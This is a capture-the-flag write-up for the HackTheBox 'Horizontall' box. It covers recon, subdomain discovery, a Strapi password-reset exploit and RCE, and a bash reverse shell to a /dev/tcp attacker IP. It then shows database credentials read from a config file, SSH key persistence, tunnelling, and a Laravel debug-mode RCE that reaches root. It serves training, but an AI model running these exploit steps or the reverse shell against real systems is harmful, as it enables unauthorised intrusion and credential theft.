Horizontall Writeup
20 October 2022 #CTF #HTB #box #easy #linuxEnumeration
Why waste time when you could be running an nmap
scan:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.105
[...]
22/tcp open ssh
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.105
[...]
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
| 256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_ 256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
The first thing to do is to add 'horizontall.htb' to our /etc/hosts
file as nmap
told us the webserver redirects us there:
$ echo '10.10.11.105 horizontall.htb' | sudo tee -a /etc/hosts
With that out of the way, let's take a look at the website:
This a static page with no user input...
Subdomain Discovery
Bruteforcing
We have a domain name so it's always good to run a subdomain bruteforce:
$ ffuf -u http://10.10.11.105/ -H 'Host: FUZZ.horizontall.htb' -fs 194 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.105/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.horizontall.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 194
________________________________________________
www [Status: 200, Size: 901, Words: 43, Lines: 2, Duration: 140ms]
api-prod [Status: 200, Size: 413, Words: 76, Lines: 20, Duration: 119ms]
I'm using ffuf
instead of gobuster
because the later was a bit buggy.
Javascript Analysis
However, this was not the intended way to find this subdomain. We were supposed to analyze a javascript file and find it that way.
There are a few hints. The first one being the icon of the JS library Vue.js is displayed on the tab:
And if we looked at the source code of the page, it would be all on one line:
Usually, when the HTML looks like this, it is because it was generated by a javascript frontend library of something similar.
When we reload the page with the developer tools opened, we can see 2 javascript files being requested:
The most interesting one is app.c68eb462.js
. Let's throw it in a javasript beatifier:
Now copy the beautified version to a file and use grep
to get subdomains:
$ grep horizontall.htb app.js
href : "https://horizontall.htb"
r.a.get("http://api-prod.horizontall.htb/reviews").then(function(data) {
And we got the other subdomain that way.
api-prod.horizontall.htb
Let's take a look at this subdomain:
It seems we are welcome, that's very nice but we want a bit more information. We'll examine the headers:
$ curl -I api-prod.horizontall.htb
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 20 Oct 2022 12:18:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 413
Connection: keep-alive
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
Cache-Control: max-age=60
X-Powered-By: Strapi <strapi.io>
The very last header reveals that this website is using Strapi.
Since we know what is running, we can do a quick searchsploit
:
$ searchsploit strapi
[...]
Strapi 3.0.0-beta - Set Password (Unauthenticated)
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
[...]
Sounds good.
Foothold
Let's first reset the admin password. To do that, update the exploit script to set the url, email and password:
userEmail = "admin@horizontall.htb"
strapiUrl = "http://api-prod.horizontall.htb"
newPassword = "password"
Then we can execute it:
$ python setpw.py
[*] strapi version: 3.0.0-beta.17.4
[*] Password reset for user: admin@horizontall.htb
[*] Setting new password
[+] New password 'password' set for user admin@horizontall.htb
It looks like our version is vulnerable and it worked.
The second CVE is an authenticated RCE, and we just reseted the admin password. How convenient!
The script wants the admin's JWT so let's login to get it:
It is not stored as a cookie but in 'Session Storage':
Let's get a reverse shell. Setup your listener and execute the script:
$ python3 rce.py http://api-prod.horizontall.htb <jwt> "bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'" 127.0.0.1
The last IP address doesn't really matter because we are sending the reverse shell directly back to us.
Privesc
We have a shell as the 'strapi' user.
Enumerate web app directory
Let's search for credentials in this myapi
directory:
strapi@horizontall:~/myapi$ ls -lA
total 640
drwxr-xr-x 3 strapi strapi 4096 May 29 2021 api
drwxrwxr-x 2 strapi strapi 12288 May 26 2021 build
drwxrwxr-x 5 strapi strapi 4096 May 26 2021 .cache
drwxr-xr-x 5 strapi strapi 4096 Jul 29 2021 config
-rw-r--r-- 1 strapi strapi 249 May 26 2021 .editorconfig
-rw-r--r-- 1 strapi strapi 32 May 26 2021 .eslintignore
-rw-r--r-- 1 strapi strapi 541 May 26 2021 .eslintrc
drwxr-xr-x 3 strapi strapi 4096 May 26 2021 extensions
-rw-r--r-- 1 strapi strapi 1150 May 26 2021 favicon.ico
-rw-r--r-- 1 strapi strapi 1119 May 26 2021 .gitignore
drwxrwxr-x 1099 strapi strapi 36864 Aug 3 2021 node_modules
-rw-rw-r-- 1 strapi strapi 1009 May 26 2021 package.json
-rw-rw-r-- 1 strapi strapi 552845 May 26 2021 package-lock.json
drwxr-xr-x 3 strapi strapi 4096 Jun 2 2021 public
-rw-r--r-- 1 strapi strapi 69 May 26 2021 README.md
The config
directory may have what we want:
strapi@horizontall:~/myapi/config$ ls -lA
total 32
-rw-r--r-- 1 strapi strapi 136 May 26 2021 application.json
-rw-r--r-- 1 strapi strapi 110 May 26 2021 custom.json
drwxr-xr-x 5 strapi strapi 4096 May 26 2021 environments
drwxr-xr-x 3 strapi strapi 4096 May 26 2021 functions
-rw-r--r-- 1 strapi strapi 188 May 26 2021 hook.json
-rw-r--r-- 1 strapi strapi 173 May 26 2021 language.json
drwxr-xr-x 2 strapi strapi 4096 May 26 2021 locales
-rw-r--r-- 1 strapi strapi 317 May 26 2021 middleware.json
In environments/development
:
strapi@horizontall:~/myapi/config/environments/development$ ls -lA
total 24
-rw-r--r-- 1 strapi strapi 135 May 26 2021 custom.json
-rw-rw-r-- 1 strapi strapi 351 May 26 2021 database.json
-rw-r--r-- 1 strapi strapi 439 May 26 2021 request.json
-rw-r--r-- 1 strapi strapi 164 May 26 2021 response.json
-rw-r--r-- 1 strapi strapi 529 May 26 2021 security.json
-rw-r--r-- 1 strapi strapi 159 May 26 2021 server.json
trapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}
There are creds for mysql.
MySQL Enumeration
We can access the mysql DB:
strapi@horizontall:~/myapi/config/environments/development$ mysql -u developer -p
Enter password:
[...]
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| strapi |
| sys |
+--------------------+
mysql> use strapi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------------+
| Tables_in_strapi |
+------------------------------+
| core_store |
| reviews |
| strapi_administrator |
| upload_file |
| upload_file_morph |
| users-permissions_permission |
| users-permissions_role |
| users-permissions_user |
+------------------------------+
But after looking through all of these tables, nothing interesting comes up.
Reverse Shell to SSH
It would be nice to be able to ssh to the box with our user. We can check if we can do that by verifying if the 'strapi' user has a login shell:
strapi@horizontall:~$ grep strapi /etc/passwd
strapi:x:1001:1001::/opt/strapi:/bin/sh
We do have a login shell, so we can create a .ssh
directory and add a key.
First, let's create the key on our attack machine:
$ ssh-keygen -f strapi
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in strapi
Your public key has been saved in strapi.pub
The key fingerprint is:
SHA256:kWtgigQb3KFrhMDy677/6lfeQwL5mHkLriqgd8sQCDM yep@hehexd
The key's randomart image is:
+---[RSA 3072]----+
|* ... |
|+*.. . |
|E+. o.o |
|o=o. oo. o |
|.oo.. *S |
|o .. =.= . |
|o.. . = = |
|o oo. o o o |
| ++*B*. . |
+----[SHA256]-----+
Now we can create the .ssh
directory and add our public key:
strapi@horizontall:~$ mkdir .ssh
strapi@horizontall:~$ chmod 700 .ssh
strapi@horizontall:~$ cd .ssh/
strapi@horizontall:~/.ssh$ echo '<your public key>' > authorized_keys
Now we should be able to login via ssh:
$ ssh -i strapi strapi@10.10.11.105
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Oct 20 14:55:53 UTC 2022
System load: 0.0 Processes: 179
Usage of /: 82.5% of 4.85GB Users logged in: 0
Memory usage: 27% IP address for eth0: 10.10.11.105
Swap usage: 0%
0 updates can be applied immediately.
Last login: Fri Jun 4 11:29:42 2021 from 192.168.1.15
$ bash
strapi@horizontall:~$
Nice, this will come in handy later.
Laravel Website
Running ss
(or netstat
) is a good way to have a rough idea of what is happening on a box:
strapi@horizontall:~$ ss -ltnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:* users:(("node",pid=1883,fd=31))
LISTEN 0 128 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 128 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
We know that the strapi app is listening on port 1337. The reason we can access this service even though it is listening only on localhost is because nginx is acting as a reverse proxy.
However, there is something else listening on port 8000. Let's curl
it to see what it is:
strapi@horizontall:~$ curl -I 127.0.0.1:8000
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Thu, 20 Oct 2022 15:08:02 GMT
Connection: close
X-Powered-By: PHP/7.4.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Thu, 20 Oct 2022 15:08:02 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IktxdmFKT0tSYndvOXFjK1dUVjA2YWc9PSIsInZhbHVlIjoidVlqMTJpUEpyYXJERzNpbjVBZ2NJYlMvU2xrc2VoTVFLVkphcG4yRTQvOEQ3RENWdkF4dDdON0UyN0F2eG9NNFh0OUJ4N29hYk1QOHNxNXNJelgxRGFSbEVSQkl0RUMvdUtWRnZVaGJlamdUOHppcXI5dW5wWEpHRHFtNUJIaDYiLCJtYWMiOiI1YjA4MWQ3M2IyNjg3YTRiYTA0NzAzMTdlYmFjYjU4OTE4N2U1OGE4OGMyNWU3OWJhMGZlZmU2MWEzMzJiM2E0In0%3D; expires=Thu, 20-Oct-2022 17:08:02 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6InMyVFpRZkJ1aHVuSmZKejVzaHh4eEE9PSIsInZhbHVlIjoiOXNwdHFIalE1ek5JNlRBSTFFeitTUE4vWlllYnRNRHN3aVVnVXBhVUpNNmlxcUdqYThQYXM0bXY4eDlheUlTajcra2RhMWk5Tm9tK0VGeGVuWDhUeFZoRSt0d1MraVdzS2tnYWNmdDBtaEZQVjV3bS9DZ0YrNGFHVzlZVHFCVkIiLCJtYWMiOiIwYjJlOTc2YThhZWUwNzkzNGI1OTA4OWNmZTJjZWE1NzAxMDA4Y2EzNTdkZWE2ZjljZjQzMGJjNzAzZTkyNDNlIn0%3D; expires=Thu, 20-Oct-2022 17:08:02 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Looks like a Laravel website (because of the laravel_session
cookie).
The problem is we can't view it because it is listening only on localhost. This is where our ssh session will help. We'll setup a port forward. To do that, type Enter+~+C and it will drop us in a prompt like this:
strapi@horizontall:~$
strapi@horizontall:~$
ssh>
Now we can use the -L
option to forward a local port:
ssh> -L 8001:127.0.0.1:8000
Forwarding port.
This command opens port 8001 on our local box and forwards all traffic to this port to port 8000 on the target box.
You can also specify this option in the ssh command:
$ ssh -i strapi strapi@10.10.11.105 -L 8001:127.0.0.1:8000
[...]
Now we are able to view the Laravel site:
It looks very much like a default installation. Let's run gobuster
to see if there are any interesting files:
gobuster dir -u http://127.0.0.1:8001/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php
[...]
/index.php (Status: 200) [Size: 17473]
/profiles (Status: 500) [Size: 616214]
Note that since gobuster
goes through our ssh tunnel, it isn't very stable.
Let's take a look at this /profiles
page:
This Laravel instance is in debug mode, that's why we are seeing this nice error message.
We can try our luck again with searchsploit
:
$ searchsploit laravel
[...]
Laravel 8.4.2 debug mode - Remote code execution
[...]
Sounds a lot like what we want right? However the script from searchsploit
won't work for us because it asks for a log path:
$ python 49424.py
Usage: 49424.py url path-log command
Ex: 49424.py http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'id'
I guess we could still make it work if we guessed the location of this file but instead we'll use this one.
$ python exploit.py http://127.0.0.1:8001 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 3006, done.
remote: Counting objects: 100% (552/552), done.
remote: Compressing objects: 100% (197/197), done.
remote: Total 3006 (delta 383), reused 422 (delta 334), pack-reused 2454
Receiving objects: 100% (3006/3006), 438.01 KiB | 643.00 KiB/s, done.
Resolving deltas: 100% (1255/1255), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared
Make sure your ssh tunnel is still alive for this to work.
Key Takeaways
- Look in js source code of non 3rd party scripts for subdomains (or other info)
- SSH tunneling is pretty cool
- Try different exploit scripts